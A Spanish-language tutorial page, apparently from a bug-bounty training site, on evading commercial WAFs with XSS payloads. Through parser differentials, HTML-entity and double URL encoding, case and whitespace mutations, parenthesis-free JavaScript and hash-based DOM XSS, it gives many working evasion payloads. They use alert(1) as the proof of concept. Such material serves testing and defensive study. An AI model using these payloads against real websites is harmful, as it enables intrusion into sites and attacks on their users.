Respuesta rápida
Los WAFs comerciales (Cloudflare, Akamai, AWS WAF, Imperva) bloquean XSS con reglas signature-based: <script, onerror=, alert(, javascript:. Bypass pasa por parser differential (WAF parsea X, browser parsea Y), encoding asimétrico (HTML entities decoded post-WAF), mutaciones de case y whitespace y construcciones JS modernas (template literals, optional chaining, getters). La regla de oro: el WAF mira bytes, el browser ejecuta semántica.
El principio — parser differential
WAF y browser hablan idiomas distintos. El WAF normaliza la request antes de aplicar reglas. El browser parsea después de la normalización del server. Si las dos pipelines difieren en una posición, hay hueco.
| Payload | WAF lo ve como | Browser lo ejecuta |
|---|---|---|
<script>alert(1)</script> | <script> tag (bloquea) | Igual |
<scrIpt>alert(1)</scrIpt> | Tag legítimo si case-sensitive | Ejecuta (HTML es case-insensitive) |
<script/x>alert(1)</script> | Posible bypass de regex que espera <script> | Ejecuta |
<svg/onload=alert(1)> | El WAF puede no contemplar / como separador | Browser lo acepta como atributo |
<img src=x onerror=alert(1)> | Bloqueado | Bloqueado |
<img src=x onerror="alert(1)"> | Idem | Idem |
<img src=x onerror=alert\x281\x29> | Hex en bytes confunde regex | Browser ejecuta alert(1) |
Encoding asimétrico — HTML entities
El browser decoda HTML entities (a → a) dentro del DOM, no en URL params. Si el WAF inspecciona la URL crudo pero el server reflexiona el valor en HTML attribute context, las entities pasan:
<a href="USER_INPUT">
USER_INPUT = javascript:alert(1)
El WAF buscando javascript: no lo ve (javascript:). El browser, al renderizar, decoda → javascript:alert(1) ejecuta.
Variantes de encoding
| Encoding | Ejemplo | Contexto donde decoda |
|---|---|---|
| HTML entity decimal | javascript: | Attribute value (href, src) |
| HTML entity hex | javascript: | Attribute value |
| HTML entity named | 
 (CR) | Algunos contextos antiguos |
| URL encode single | %3Cscript%3E | URL params decoded por server |
| URL encode double | %253Cscript%253E | Si el server decoda 2 veces |
| Unicode JS escape | <script> | Dentro de string JS |
| Hex JS escape | \x3cscript\x3e | Idem |
| UTF-7 | +ADw-script+AD4- | XML/IE histórico, casi muerto |
Doble decoding trap
Apps que decodan URL params dos veces (Java Spring, algunas Node middlewares mal configuradas):
?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
↑ WAF decoda una vez → "%3Cimg%20src%3Dx..." (sin tags ejecutables)
↑ Server decoda otra vez → "<img src=x onerror=alert(1)>"
WAF no ve nada peligroso. Server inyecta tag ejecutable.
Mutaciones de case y whitespace
<sCRipT>alert(1)</sCRipT> <!-- Case insensitive en HTML -->
<script\t>alert(1)</script> <!-- Tab como whitespace -->
<script\r\n>alert(1)</script> <!-- CRLF -->
<script\x00>alert(1)</script> <!-- NUL byte (algunos parsers) -->
<script/random=ignored>alert(1)</script> <!-- Slash + atributo random -->
<script ~='@'>alert(1)</script> <!-- Whitespace + atributo char raro -->
<svg/onload=alert(1)> <!-- Slash en vez de espacio -->
<svg onload =alert(1)> <!-- Espacio antes del = -->
<svg onload = alert(1)> <!-- Tabs alrededor del = -->
<svg onload=alert(1)> <!-- Entity dentro del atributo -->
<svg/onload=alert/**/(1)> <!-- Comentario JS dentro de la call -->
<svg onload="alert`1`"> <!-- Template literal en vez de paréntesis -->
JS modernas — sin paréntesis ni comillas
WAFs simples bloquean alert(, eval(, ( literal. Bypass con template literals (ES6+):
alert`1` // Llama alert con tagged template
eval`alert\x281\x29` // Hex escape para los paréntesis
Function`alert\x281\x29``` // IIFE
Sin alert literal:
top["al"+"ert"](1) // String concatenation
top["\x61\x6c\x65\x72\x74"](1)
window[/al/.source + /ert/.source](1)
self[atob('YWxlcnQ=')](1) // base64 decode
Sin paréntesis y sin template literals:
location='javascript:alert\x281\x29' // location asignación
onerror=alert;throw 1 // throw como caller
onerror=alert;throw 1 es uno de los más cortos y bypassea WAFs que buscan alert(.
DOM-level mutations
Cuando el target es DOM XSS (no reflejado server-side), el WAF puede no inspeccionar el fragment # (no se envía al server). Payload completo va en el hash:
https://target.com/page#<img src=x onerror=alert(1)>
WAF jamás lo ve. Solo se requiere que el JS client-side lea location.hash y lo meta en un sink.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Cloudflare Waf Bypass
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Cloudflare WAF — payload size bypass, oversized body, plan-specific limits
Bypass de Cloudflare WAF mediante exploitation de body size limits por plan (Free 100kb, Pro 100kb, Business 500kb, Enterprise 1mb): oversize payload trick + chunked transfer encoding.
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
Cloudflare WAF Bypass — oversized body, header stuffing y cache poisoning
El WAF de Cloudflare tiene límites de inspección por plan (~8KB Free, 128KB Enterprise). Padding bypass, header stuffing >100 headers, IP origin disclosure.